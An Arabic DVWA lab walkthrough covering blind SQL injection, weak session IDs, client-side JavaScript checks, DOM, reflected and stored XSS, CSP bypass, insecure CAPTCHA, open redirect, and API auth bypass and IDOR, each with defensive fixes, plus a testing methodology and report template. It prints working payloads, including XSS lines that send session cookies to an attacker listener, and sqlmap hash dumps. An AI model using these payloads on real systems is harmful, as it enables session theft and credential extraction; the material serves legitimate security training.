-- فرق الصواب والخطأ 1' AND 1=1 # 1' AND 1=2 # -- هل الحرف الأول من كلمة مرور admin هو 5؟ 1' AND SUBSTRING((SELECT password FROM users WHERE user_id=1),1,1)='5' # -- الزمن: نفس السؤال لكن عبر التأخير 1' AND SLEEP(5) # 1' AND IF(SUBSTRING((SELECT password FROM users WHERE user_id=1),1,1)='5',SLEEP(5),0) #
# الزمن الكلي للطلب بالثواني $ curl -s -o /dev/null -w "%{time_total}\n" \ -b "PHPSESSID=YOURID; security=low" \ "http://localhost:8080/dvwa/vulnerabilities/sqli_blind/?id=1%27+AND+SLEEP(5)+%23&Submit=Submit" # أتمتة كاملة $ sqlmap -u "http://localhost:8080/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \ --cookie="PHPSESSID=YOURID; security=low" --technique=BT --batch \ -D dvwa -T users -C user,password --dump
[INFO] testing connection to the target URL [INFO] GET parameter 'id' appears to be 'AND boolean-based blind' injectable [INFO] retrieved: admin, 5f4dcc3b5aa765d61d8327deb882cf99 [INFO] retrieved: gordonb, e99a18c428cb38d5f260853678922e03
Medium و High — تغيّر المدخل لا المبدأ
Medium: الطلب صار POST والقيمة رقمية، فلا تحتاج تنصيصًا: 1 AND 1=1 #.
High: المدخل انتقل إلى الكوكي id، والاستعلام محدود بـLIMIT 1. المبدأ نفسه — القناة العمياء لا تتغير.
$ sqlmap -u "http://.../sqli_blind/" --cookie="id=1; PHPSESSID=...; security=high" --level=3 --batch --dump
الاستخراج الأعمى بطيء (آلاف الطلبات لكلمة مرور واحدة) لكنه فعال دائمًا، ولا يترك أثرًا واضحًا في الواجهة. لهذا يُصنَّف بنفس خطورة SQLi العادي: غياب المخرَج ليس غياب الثغرة.
23 · Weak Session IDs — جلسة يمكن تخمينها
HIGHCWE-330الهدف: الوصول إلى جلسة مستخدم آخر دون كلمة مرور. إذا كان معرّف الجلسة متسلسلًا (1، 2، 3…) أو مبنيًا على الوقت، فإن انتحال الجلسة يصبح مسألة حساب لا مسألة اختراق.
- راقب الكوكي
افتح الوحدة واضغط Generate عدة مرات، وراقب dvwaSession في DevTools ← Application ← Cookies.
- اكتشف النمط
Low: عدّاد يزيد بمقدار 1. Medium: طابع زمني time(). High: md5() لعدّاد متزايد — أي أن الناتج ثابت ومعروف لكل قيمة.
- اصنع القيمة بنفسك
احسب التجزئة للرقم التالي بنفسك (md5(2))، أو عدّل الكوكي إلى قيمة جلسة أخرى، وأعد تحميل الصفحة. سيقبلها الخادم لأنها مجرد قيمة يقرأها.
# ماذا تُصدر الوحدة؟ $ curl -s -b "PHPSESSID=YOURID; security=low" -c jar.txt \ http://localhost:8080/dvwa/vulnerabilities/weak_id/ | grep -i dvwaSession # تخمين جلسة مجاورة $ curl -s -b "dvwaSession=2; security=low" http://localhost:8080/dvwa/vulnerabilities/weak_id/ # المستوى High: التجزئة قابلة للحساب $ php -r 'echo md5(2), PHP_EOL;'
Cookie set: dvwaSession=1 Cookie set: dvwaSession=2 Cookie set: dvwaSession=3 ← Low: تسلسل يمكن توقعه كليًا Cookie set: dvwaSession=c81e728d9d4c2f636f067f89cc14862c ← High: md5(2)
السبب: إنتروبيا منخفضة. المعرّف يجب أن يكون عشوائيًا آمنًا (128 بت على الأقل) لا عدّادًا ولا طابعًا زمنيًا ولا تجزئة لهما.
الدفاع: random_bytes(32)، تجديد المعرّف عند الدخول، إبطاله عند الخروج، ربطه ببصمة خفيفة، وانتهاء صلاحية مطلق. والأهم: استخدام إطار عمل مُختبَر بدل كتابة إدارة الجلسات يدويًا.
24 · JavaScript Attacks — التحقق في العميل ليس تحققًا
MEDIUMCWE-602الهدف: إرسال الكلمة المطلوبة (success) بينما الصفحة تمنعك. الفكرة المحورية: أي منطق يُنفَّذ في المتصفح يمكنك قراءته وتعديله — لأن المتصفح جهازك.
- اقرأ الدالة
عرض المصدر أو DevTools يعرض generate_token() أو do_something(). هذه الدالة هي "السر" المؤقت.
- نفّذها على القيمة المطلوبة
من الـConsole: احسب الرمز للكلمة success بدل الكلمة التي فرضتها الواجهة، ثم ضعه في حقل token.
- أو تجاوز الواجهة كليًا
اعترض الطلب في Burp وأرسل phrase=success مع الرمز المحسوب.
// Low: الرمز = md5(rot13(phrase)) — والدالتان موجودتان في الصفحة md5(rot13("success")); // Medium: الرمز = عكس("XX" + phrase + "XX") do_something("XXsuccessXX"); // High: الكود مبهم (sha256 + عكس + ثلاثة أجزاء) — نفّذ الدوال نفسها // بدل تفكيكه: اكتب القيمة في الحقل ثم استدعِ معالج الضغط من الـConsole do_something("success");
Well done! You have submitted the correct word. (تم إرسال "success" رغم أن الواجهة تطلب كلمة أخرى)
السبب: الثقة في نتيجة حسبها العميل. الخادم لا يملك أي شيء يمنع العميل من إرسال ما يريد.
الدفاع: أي تحقق له أثر أمني يجب أن يُعاد على الخادم. تحقق العميل مفيد لتجربة المستخدم وسرعة التغذية الراجعة فقط — لا للأمان، ولا للأسعار، ولا للصلاحيات، ولا للرموز.
25 · XSS (DOM) — الخادم بريء تمامًا
HIGHCWE-79الهدف: تنفيذ JavaScript دون أن يصل أي شيء إلى الخادم. الصفحة تقرأ من العنوان (location.href) وتكتب الناتج بـdocument.write — أي أن الحمولة تُنفَّذ في المتصفح فقط، ولا تظهر في سجلات الخادم.
- افحص الكود
عرض المصدر يُظهر: قراءة المعامل default= من العنوان ثم كتابته داخل document.write بلا ترميز.
- أضف الحمولة إلى العنوان
لا يمرّ الطلب إلى الخادم بعد #، لكن السكربت يقرأ العنوان كاملًا.
- لاحظ غياب الأثر
لا يوجد أي طلب يحمل الحمولة — وهذا سبب خطورة DOM XSS في المراقبة والتوعية.
# Low — الحقن المباشر http://localhost:8080/dvwa/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script> # Medium — الكود يفحص وجود "<script" نصيًا فقط http://localhost:8080/dvwa/vulnerabilities/xss_d/?default=<img src=x onerror=alert(document.cookie)> http://localhost:8080/dvwa/vulnerabilities/xss_d/?default=<svg onload=alert(1)>
تنبيه المتصفح: PHPSESSID=abc123...; security=low (وفي Medium: نفس التنبيه رغم فحص <script>)
المستوى High — قائمة سماح فعلية
الكود هنا لا يُهرّب ولا يحظر: يقارن القيمة بأربع لغات مسموحة (French / English / German / Spanish) ويكتب للقيمة المطابقة فقط، وأي شيء آخر يُستبدل بـEnglish. لا توجد حمولة تتجاوز ذلك، لأن الحل لم يكن "حظر" بل اسمح بما تعرفه.
السبب: مصدر يتحكم به المستخدم (location) يصبّ في حوض يفسّر HTML (document.write / innerHTML).
الدفاع: استخدم textContent بدل innerHTML، وURLSearchParams للقراءة، وقائمة سماح للقيم، وCSP كطبقة ثانية، مع مكتبة تعقيم DOM موثوقة عند الحاجة لعرض HTML.
26 · XSS (Reflected) — الحمولة تعود إليك
HIGHCWE-79الهدف: دفع الضحية إلى فتح رابط يحمل سكربتك، فيُنفَّذ في أصلك (نطاقك) وبصلاحياته. الأثر هنا لا يخصّك وحدك — الضحية هو من ينفّذ.
- ابحث عن نقطة الانعكاس
أدخل test123 في الحقل، وانظر أين يظهر النص في الاستجابة (داخل HTML؟ داخل سمة؟ داخل <pre>؟). السياق يحدد الحمولة.
- اكسر السياق
في نص HTML تحتاج <script>؛ في سمة تحتاج " وإغلاق الوسم.
- اجعل الحمولة مفيدة
بدل alert، اسرق الكوكي إلى مستمع تملكه أو نفّذ فعلًا باسم الضحية.
# Low <script>alert(document.cookie)</script> # Medium — الحظر يخص <script> بحروف صغيرة فقط <SCRIPT>alert(1)</SCRIPT> <img src=x onerror=alert(document.cookie)> # High — يُحظر أي وسم يحتوي حروف script متفرقة <img src=x onerror="fetch('http://10.0.0.5:8000/?c='+document.cookie)"> <svg/onload=alert(1)>
$ python3 -m http.server 8000 # ثم افتح رابط الضحية: http://localhost:8080/dvwa/vulnerabilities/xss_r/?name=<img src=x onerror="fetch('http://10.0.0.5:8000/?c='+document.cookie)">
10.0.0.5 - - [..] "GET /?c=PHPSESSID=8f2c1a...;%20security=low HTTP/1.1" 200 -
السبب: المدخل يُعاد في الاستجابة دون ترميز مناسب للسياق.
الدفاع: ترميز HTML عند الإخراج (htmlspecialchars($x, ENT_QUOTES))، وترميز خاص لكل سياق (سمة، JS، URL، CSS)، مع CSP صارمة وHttpOnly لتقليل أثر النجاح.
27 · XSS (Stored) — حمولة تُصيب كل من يمرّ
CRITICALCWE-79الهدف: حفظ سكربت في قاعدة البيانات ليُنفَّذ عند كل زيارة للصفحة. الأخطر: عندما يزور المدير الصفحة يعمل سكربتك بصلاحياته — أي أنك تحصل على "يد" داخل لوحة الإدارة دون اختراقها.
- احفظ الحمولة
في دفتر الزوار: الاسم x والرسالة <script>alert(1)</script>.
- أعد تحميل الصفحة
ستُنفَّذ الحمولة مرة أخرى — هذا هو الفرق الجوهري عن Reflected: الاستمرارية.
- اربطها بمستمع
استبدل التنبيه بسكربت يرسل الكوكي إلى خادمك؛ سجّل الدخول بمستخدم آخر (أو انتظر المدير) وشاهد الوصول.
- قِس الأثر
الكوكي المسروق يعني جلسة كاملة: تصفّح باسم الضحية، وغيّر بياناته، واستخدم صلاحياته.
# إثبات الثغرة <script>alert(1)</script> # سرقة الجلسة (يُحفظ في الحقل ثم يُزار) <script>new Image().src="http://10.0.0.5:8000/?c="+document.cookie;</script> # Medium/High: حقل الرسالة مُهرَّب — استخدم حقل الاسم بوسم بلا كلمة script <img src=x onerror=fetch('//10.0.0.5:8000?'+document.cookie)>
Guestbook: x : <script>alert(1)</script> ← يُنفَّذ عند كل زيارة وعلى المستمع: GET /?c=PHPSESSID=8f2c1a9b...;%20security=low
Medium و High — الترميز الناقص يُلتف عليه
Medium: حقل الرسالة يُمرّر عبر strip_tags وhtmlspecialchars، لكن حقل الاسم لا يُهرَّب — يُحذف منه <script> نصيًا فقط. إذن نقطة الحقن هي الاسم، والحمولة وسم بلا كلمة script.
High: تعبير نمطي يحظر أي وسم يحتوي حروف s c r i p t متتابعة، والرسالة ما زالت مُهرَّبة. الحل: <img onerror> أو <svg onload> في حقل الاسم.
المستوى Impossible يهرّب الحقلين عند الحفظ وعند العرض — فتُعرض الحمولة نصًا ولا تُنفَّذ أبدًا. لاحظ أن الحل لم يكن "منع الإدخال" بل "ترميز الإخراج".
لأنها ثغرة دائمة وموزّعة: تُصيب كل زائر، وتعمل بلا تفاعل، ويمكن أن تتحول إلى دودة تنتشر بين المستخدمين. في تطبيق حقيقي، Stored XSS في تعليق عام يعني أن كل مستخدم — بما فيه المدير — قد يفتح صفحة تحت سيطرتك.
28 · CSP Bypass — حين تفشل الطبقة الدفاعية الأخيرة
MEDIUMCWE-693الهدف: تنفيذ JavaScript رغم وجود سياسة أمان المحتوى. CSP ليست حلاً سحريًا: إن كانت مكتوبة بشكل ضعيف (نطاقات واسعة، nonce ثابت، أو سماح غير مقصود) فإنها تعطي إحساسًا زائفًا بالأمان.
- اقرأ الترويسة
DevTools ← Network ← Response Headers: ابحث عن Content-Security-Policy وسجّل script-src بدقة.
- حدّد نقطة الضعف
Low: قائمة نطاقات خارجية موثوقة (CDN ومواقع نصوص) يمكنك النشر عليها. Medium: 'unsafe-inline' مع nonce ثابت مكتوب في الصفحة. High: 'self' فقط، لكن الصفحة تستدعي نقطة JSONP داخل نفس الأصل.
- استغل ما تسمح به السياسة
استخدم نطاقًا مسموحًا، أو nonce مقروءًا، أو نقطة تعيد بياناتك كـJavaScript.
# Low: سياسة تسمح نطاقات خارجية — انشر سكربتك على أحدها ?b=<script src="https://cdn.jsdelivr.net/gh/digininja/csp_bypass/alert.js"></script> # Medium: nonce ثابت مكتوب في الكود (لاحظ أنه غير عشوائي) ?b=<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script> # High: 'self' فقط — استخدم نقطة JSONP داخل نفس الأصل ?b=<script src="/dvwa/vulnerabilities/csp/source/jsonp.php?callback=alert(1)//"></script>
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=' → التنفيذ ينجح رغم السياسة، لأن ما استُخدم موجود فعلاً في قائمة السماح
لماذا تُهزم السياسة؟
نطاق موثوق = كود موثوق. السماح لـCDN يعني السماح بكل ما يُنشر عليه. nonce ثابت = بلا nonce. قيمته في العشوائية لكل طلب. و'self' ليس ضمانًا: أي نقطة في موقعك تعيد بيانات المستخدم كـJavaScript (JSONP، أو ردّ بـContent-Type: text/javascript) تصبح أداة تنفيذ.
السبب: سياسة متساهلة أو nonce قابل لإعادة الاستخدام. CSP لا تعوّض عن ترميز الإخراج؛ هي خط دفاع أخير.
الدفاع: script-src 'self' 'nonce-<عشوائي لكل طلب>' 'strict-dynamic'، بلا unsafe-inline ولا unsafe-eval، وحصر النطاقات الخارجية، وإلغاء نقاط JSONP، مع مراقبة التقارير عبر report-uri.
29 · Insecure CAPTCHA — التحقق الذي يُنفَّذ في العميل
MEDIUMCWE-804الهدف: تغيير كلمة المرور دون حلّ الكابتشا. الكود يقسّم العملية إلى مرحلتين ويعتمد على قيمة step يرسلها المتصفح؛ تجاوز المرحلة الأولى يعني تجاوز الكابتشا كلها.
- راقب المراحل
افتح الوحدة واعترض الطلبات: step=1 يعرض الكابتشا، وstep=2 ينفّذ التغيير.
- اقفز إلى المرحلة الثانية
أرسل الطلب مباشرة بـstep=2 مع كلمة المرور الجديدة — دون أي رمز كابتشا.
- أضف المعلومة الناقصة
في Medium يطلب الكود متغيرًا آخر (passed_captcha=true) — أضفه بنفس الأسلوب.
# Low: القفز إلى step=2 $ curl -s -b "PHPSESSID=YOURID; security=low" \ -d "step=2&password_new=Pwned123&password_conf=Pwned123&Change=Change" \ http://localhost:8080/dvwa/vulnerabilities/captcha/ # Medium: أضف المتغير الذي يتحقق منه الكود $ curl -s -b "PHPSESSID=YOURID; security=medium" \ -d "step=2&password_new=Pwned123&password_conf=Pwned123&passed_captcha=true&Change=Change" \ http://localhost:8080/dvwa/vulnerabilities/captcha/
Password Changed. (بدون أي تفاعل مع صورة الكابتشا)
المستوى High — تحقق حقيقي، لكن مفاتيح الاختبار تمرّ دائمًا
هنا يتحقق الخادم من g-recaptcha-response لدى Google فعليًا. لكن DVWA يستخدم مفاتيح الاختبار العامة التي تعيد النجاح دائمًا، لذا لا يمنع ذلك المحاولة — والدرس أن التحقق يجب أن يكون بمفتاح سري حقيقي، ولمرة واحدة، ومربوطًا بالجلسة والفعل.
السبب: حالة العملية (هل حُلّت الكابتشا؟) محفوظة في المتصفح/الطلب لا على الخادم.
الدفاع: خزّن حالة التحقق في الجلسة على الخادم، وتحقق من الرمز لدى المزوّد بمفتاح سري، واسمح باستخدامه مرة واحدة فقط، واربطه بالفعل المطلوب وبمهلة زمنية قصيرة.
30 · Open HTTP Redirect — نطاقك الموثوق يقود إلى الفخ
MEDIUMCWE-601الهدف: استخدام نطاق موثوق لإعادة توجيه الضحية إلى موقع المهاجم. الخطورة ليست في التحويل بحد ذاته، بل في كسر ثقة المستخدم وفي سرقة رموز OAuth التي تُرسل إلى redirect_uri.
- اختبر المعامل
الوحدة تقبل ?redirect=. جرّب نطاقًا خارجيًا وراقب كود الحالة وترويسة Location.
- تحقّق سلوكيًا لا بصريًا
استخدم curl -sI — المتصفح قد يخفي التحويل أو ينفّذه بسرعة.
- جرّب الالتفافات
الحظر النصي لكلمة https:// يُهزم بالرابط النسبي للمخطط (//)، وشرط "يجب أن يحتوي على info.php" يُهزم بوضع الاسم في مسار موقع المهاجم.
# Low: لا يوجد أي فحص $ curl -sI "http://localhost:8080/dvwa/vulnerabilities/open_redirect/?redirect=https://evil.tld" # Medium: يمنع النص "http://" و"https://" — استخدم رابطًا نسبيًا للمخطط ?redirect=//evil.tld/phish # High: يشترط أن يحتوي الرابط على "info.php" — ضعه في مسار موقعك ?redirect=//evil.tld/info.php
HTTP/1.1 302 Found Location: //evil.tld/info.php ثم في المتصفح: https://evil.tld/info.php ← نطاق الضحية استُخدم كوسيلة ثقة
السبب: قبول وجهة غير مُقيَّدة، أو تقييدها ببحث نصي عن كلمة يمكن للمهاجم وضعها داخل رابطه.
الدفاع: قائمة سماح بمسارات/نطاقات محددة مسبقًا، أو استخدام معرّف داخلي (?next=1) يُترجم إلى مسار معروف، والتحقق بـparse_url ومقارنة host بالتطابق التام، وإظهار صفحة تحذير عند الخروج من النطاق.
31 · API و Auth Bypass — الحافة الحديثة للتطبيقات
HIGHCWE-639الهدف: قراءة أو تعديل بيانات مستخدمين آخرين عبر واجهة برمجية. الأخطاء الشائعة: فحص الهوية دون الصلاحية (BOLA/IDOR)، وإرجاع حقول زائدة، واعتماد على تحقق في العميل، وأحيانًا مقارنة PHP مرنة تُبطل التحقق كله.
أ) تخطي المصادقة بمصيدة الأنواع (Type Juggling)
في وحدة Auth Bypass يعتمد الكود على دالة مقارنة تُرجع NULL عند تمرير مصفوفة بدل نص. وبما أن NULL == 0 في المقارنة المرنة، يُقبل الطلب كأنه ناجح. القاعدة: استخدم === وتحقق من النوع دائمًا.
$ curl -s -b "PHPSESSID=YOURID; security=low" \ -d "username=admin&password[]=x&Login=Login" \ http://localhost:8080/dvwa/vulnerabilities/authbypass/
ب) IDOR على الـAPI
المسار النموذجي في DVWA الحديث: /dvwa/vulnerabilities/api/v2/user/<id>. احصل على رمز دخولك، ثم غيّر المعرّف. إن أعادت الواجهة بيانات مستخدم آخر فهي ثغرة صلاحيات أفقية.
# 1) الحصول على رمز $ curl -s -X POST http://localhost:8080/dvwa/vulnerabilities/api/v2/login \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"password"}' # 2) قراءة مستخدمين بمعرّفات مختلفة $ curl -s http://localhost:8080/dvwa/vulnerabilities/api/v2/user/1 \ -H "Authorization: Bearer YOUR_TOKEN" $ curl -s http://localhost:8080/dvwa/vulnerabilities/api/v2/user/2 \ -H "Authorization: Bearer YOUR_TOKEN" # 3) هل الاستجابة تحمل حقولاً زائدة؟ $ curl -s .../user/1 -H "Authorization: Bearer $TOK" | jq
{"id":1,"username":"admin","level":"admin"}
{"id":2,"username":"gordonb","level":"user"} ← بيانات مستخدم آخر بلا إذن
وحدتا API وAuth Bypass موجودتان في إصدارات DVWA الحديثة (1.10+) وقد تختلف مساراتهما قليلًا. ابدأ دائمًا من قائمة View Source في الصفحة نفسها لمعرفة المسار الفعلي المتاح في نسختك، ولا تفترض المسار من درس آخر.
السبب: التحقق من "هل أنت مسجّل؟" دون "هل يُسمح لك بهذا الكائن تحديدًا؟" — وهي فئة Broken Object Level Authorization، الأولى في قائمة OWASP API.
الدفاع: فحص الصلاحية على كل كائن وعلى كل حقل (WHERE id = ? AND owner_id = ?)، ومقارنة صارمة في PHP (=== مع تحقق نوع)، ومخططات استجابة صريحة (allow-list للحقول)، ومصادقة رمزية قصيرة العمر مع تدقيق على مستوى الواجهة.
بطاقة الإصلاح: من الثغرة إلى السطر الذي يمنعها
الدفاع ليس "استخدم مكتبة أمان". الدفاع هو أن تعرف السبب الجذري فتُصلح المكان الصحيح. هذا الجدول هو خلاصة المختبر — استخدمه كقائمة مراجعة عند تصميم أي تطبيق جديد.
| الثغرة | السبب الجذري | الإصلاح الصحيح | ضابط مساعد |
|---|---|---|---|
| Brute Force | لا قيود على المحاولات | حدّ محاولات + تأخير تصاعدي + 2FA | تنبيه عند الفشل المتكرر |
| Command Injection | مدخل داخل سلسلة أوامر | تجنّب الصدفة، أو قائمة سماح + escapeshellarg | حاوية محدودة الصلاحية |
| CSRF | الثقة بالكوكي وحدها | توكن لكل نموذج + SameSite=Lax | إعادة توثيق للأفعال الحساسة |
| File Inclusion | مسار يتحكم به المستخدم | قائمة سماح + basename + open_basedir | تعطيل allow_url_include |
| File Upload | تنفيذ في مجلد الرفع | تخزين خارج جذر الويب + اسم عشوائي + فحص محتوى | تعطيل محرّك PHP في مجلد الرفع |
| SQL Injection | بناء الاستعلام نصيًا | استعلامات مُهيَّأة + ربط أنواع | مستخدم DB بأقل صلاحية |
| Blind SQLi | نفس السبب، بلا مخرَج | نفس الإصلاح + إخفاء الأخطاء | WAF وكشف الأنماط |
| Weak Session IDs | إنتروبيا منخفضة | random_bytes(32) + تجديد عند الدخول | انتهاء صلاحية وإبطال |
| JavaScript Attacks | تحقق في العميل | إعادة التحقق على الخادم | توقيع الطلبات الحساسة |
| XSS (DOM) | source → sink | textContent + قائمة سماح | CSP بلا unsafe-inline |
| XSS (Reflected) | إخراج غير مرمّز | ترميز حسب السياق عند العرض | HttpOnly + CSP |
| XSS (Stored) | عرض لاحق غير مرمّز | ترميز عند العرض في كل سياق | مراجعة المحتوى الغني |
| CSP Bypass | سياسة متساهلة / nonce ثابت | nonce عشوائي لكل طلب + strict-dynamic | تقارير CSP |
| Insecure CAPTCHA | حالة التحقق في الطلب | تحقق خادمي بمفتاح سري ولمرة واحدة | حدّ محاولات |
| Open Redirect | وجهة غير مقيّدة | قائمة سماح أو معرّف داخلي | صفحة تحذير عند الخروج |
| API / IDOR | غياب فحص صلاحية الكائن | فحص المالك على كل كائن وحقل | مخطط استجابة صريح |
لأنه يعطيك نمط الكود الصحيح في السياق نفسه: قائمة سماح بدل حظر، استعلام مُهيَّأ بدل تهريب، توكن بدل لا شيء. عندما تكتب تطبيقك، لن تتذكر الحمولات — لكنك ستتذكر هذه الأنماط.
كيف تعمل في اختبار حقيقي؟
الفرق بين من "يعرف الثغرات" ومن "يُجري اختبارًا" هو المنهجية: ترتيب، توثيق، ونطاق. المنهجية المرجعية هي OWASP WSTG — إطار يغطي ما يجب فحصه، لا كيف تُستغل النتيجة فقط.
- التخطيط والنطاق
ما المسموح؟ أي بيئات؟ أي ساعات؟ من نقطة الاتصال للطوارئ؟ كل شيء خارج هذا لا يُلمس.
- الاستطلاع (Recon)
معلومات عامة، نطاقات فرعية، تقنيات مستخدمة، بصمة الخادم — دون لمس التطبيق بعد.
- الرسم (Mapping)
تصفّح التطبيق بوكيل اعتراض، سجّل كل نقطة إدخال وكل دور مستخدم وكل تدفق (تسجيل، دفع، استعادة كلمة مرور).
- الاختبار (Testing)
طبّق بنود WSTG: مصادقة، جلسات، صلاحيات، حقن، منطق أعمال، معالجة أخطاء، تشفير نقل.
- الاستغلال المُثبت (PoC)
أثبت الأثر بأقل تدخل ممكن. لا تفجّر قاعدة بيانات لتثبت وجود ثغرة قراءة.
- التقرير والمتابعة
كل ثغرة بخطوات إعادة إنتاج دقيقة، أثر تجاري واضح، وإصلاح محدد. ثم إعادة اختبار بعد الإصلاح.
العدّة الأساسية
Burp Suite / Caido
وكيل اعتراض: Repeater للتجربة اليدوية، Intruder للأتمتة، Comparer للفروق.
sqlmap
أتمتة SQLi: كشف، تفريغ، تقنيات B/T/U/E. استخدمه بعد الفهم لا بدلًا منه.
ffuf / gobuster
تعداد المسارات والمعاملات والقيم. سرعة عالية مع قوائم Seclists.
nmap / whatweb / nikto
بصمة الخدمات، التقنيات، والإعدادات المعروفة الخطأ.
curl
أدق أداة لإثبات سلوك: ترويسات، حالة، توقيت. لا تُهملها.
DevTools
لثغرات المتصفح: DOM، CSP، postMessage، التخزين. لا بديل عنها.
لا تختبر خارج النطاق ولو "بفضول". لا تحتفظ ببيانات حقيقية سحبتها — استخدم الحد الأدنى المطلوب للإثبات ثم احذفها. لا تُجرِ اختبارات قد تُسقط الخدمة دون اتفاق مسبق. وأبلغ عن أي ثغرة خطيرة فورًا بدل تركها للتقرير النهائي.
قالب تقرير يفهمه المطوّر والإدارة
الثغرة التي لا تُوثَّق لا تُصلَح. التقرير الجيد يجيب على أربعة أسئلة: ماذا؟ أين؟ كيف أعيد إنتاجها؟ وما الأثر التجاري؟ ثم يقدّم إصلاحًا محددًا لا نصيحة عامة.
## [HIGH] SQL Injection في معامل id الموضع: GET /vulnerabilities/sqli/?id= CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) CWE: 89 | OWASP: A03:2021 Injection الوصف: يُبنى الاستعلام بالتسلسل النصي من مدخل المستخدم، ما يسمح بتغيير منطق الاستعلام واستخراج بيانات من جداول أخرى. خطوات إعادة الإنتاج: 1. سجّل الدخول كمستخدم عادي. 2. افتح /vulnerabilities/sqli/?id=1 3. أرسل: 1' UNION SELECT user, password FROM users # 4. تظهر أسماء المستخدمين وتجزئات كلمات المرور. الأثر: كشف كامل لبيانات الاعتماد (5 حسابات) → سيطرة على حسابات إدارية → تعديل بيانات العملاء. الإصلاح المقترح: - استبدال بناء الاستعلام بـ Prepared Statement مع ربط الأنواع. - تقليل صلاحيات مستخدم قاعدة البيانات. - إخفاء رسائل الخطأ وإرجاع رمز 500 عام. المرجع: OWASP WSTG-INPV-05
لا تكتب "الثغرة تسمح بتنفيذ SQL". اكتب: "تُتيح استخراج تجزئات كلمات مرور كل الحسابات، ومنها حساب مدير، أي سيطرة كاملة على لوحة الإدارة وتعديل بيانات العملاء". الإدارة تُقرّر بالأثر لا بالتقنية — والمطوّر يحتاج التفاصيل التقنية معًا. التقرير الجيد يخاطب الاثنين في نفس الصفحة.
تمارين تُثبت أنك تعلمت
الهدف ليس "حلّها" بل كتابة سلسلة الاستغلال بيدك وتوثيقها. لكل تمرين: الحمولة، سبب النجاح في الكود، والإصلاح.
| # | التمرين | المستوى | ما يُقاس |
|---|---|---|---|
| 1 | استخرج كلمة مرور admin عبر SQLi ثم اكسرها محليًا | مبتدئ | سلسلة UNION + hashcat |
| 2 | نفّذ id ثم cat /etc/passwd عبر Command Injection | مبتدئ | فهم الفواصل |
| 3 | ارفع Web Shell ونفّذه، ثم افتح جلسة عكسية | متوسط | رفع + تنفيذ + استقرار |
| 4 | اقرأ config.php عبر php://filter وفك الترميز | متوسط | معرفة المُغلِّفات |
| 5 | نفّذ هجوم Stored XSS يسرق جلسة مستخدم آخر | متوسط | من التنبيه إلى الأثر |
| 6 | اكتب صفحة CSRF وأثبت تغيير كلمة مرور الضحية | متوسط | فهم حدود SOP |
| 7 | تجاوز كل مستويات Brute Force حتى High بسكربتك | متقدم | أتمتة التوكن |
| 8 | استخرج كلمة مرور بـBlind SQLi دون استخدام sqlmap | متقدم | منطق البت الواحد |
| 9 | اكتب تقريرًا كاملًا لثلاث ثغرات بصيغة CVSS | متقدم | التوثيق المهني |
| 10 | اقرأ كود Impossible واشرح لماذا كل مستوى سابق فشل | إتقان | الربط بين السبب والإصلاح |
DVWA يعطيك الأساس. للانتقال إلى مستوى أعلى: PortSwigger Web Security Academy (مختبرات مجانية لكل فئة)، OWASP Juice Shop (تطبيق حديث بثغرات API وJWT)، ثم HackTheBox وTryHackMe لسيناريوهات كاملة. القاعدة: لا تنتقل قبل أن تكتب سلسلة استغلال كاملة بنفسك.
للرجوع والتوسّع
- OWASP Top 10 (2021) — الإطار المرجعي لتصنيف المخاطر في تطبيقات الويب.
- OWASP Web Security Testing Guide (WSTG) — دليل بنود الاختبار خطوة بخطوة.
- OWASP ASVS — متطلبات التحقق الأمني عند البناء والمراجعة.
- PortSwigger Web Security Academy — مختبرات تفاعلية مجانية لكل فئة من الثغرات.
- DVWA (digininja/DVWA) — المستودع الرسمي، مع الشروحات وكود المستويات.
- CWE / MITRE — تصنيف أسباب الثغرات (CWE-79, CWE-89, CWE-78…).
- CVSS v3.1 Calculator (FIRST) — لحساب شدة الثغرة بشكل موحّد.
كل الأمثلة هنا لمختبر DVWA المحلي. استخدامها ضد نظام لا تملك تفويضًا باختباره مخالف للقانون وللأخلاق المهنية. المعرفة الأمنية تُقاس بما تحمي، لا بما تخترق.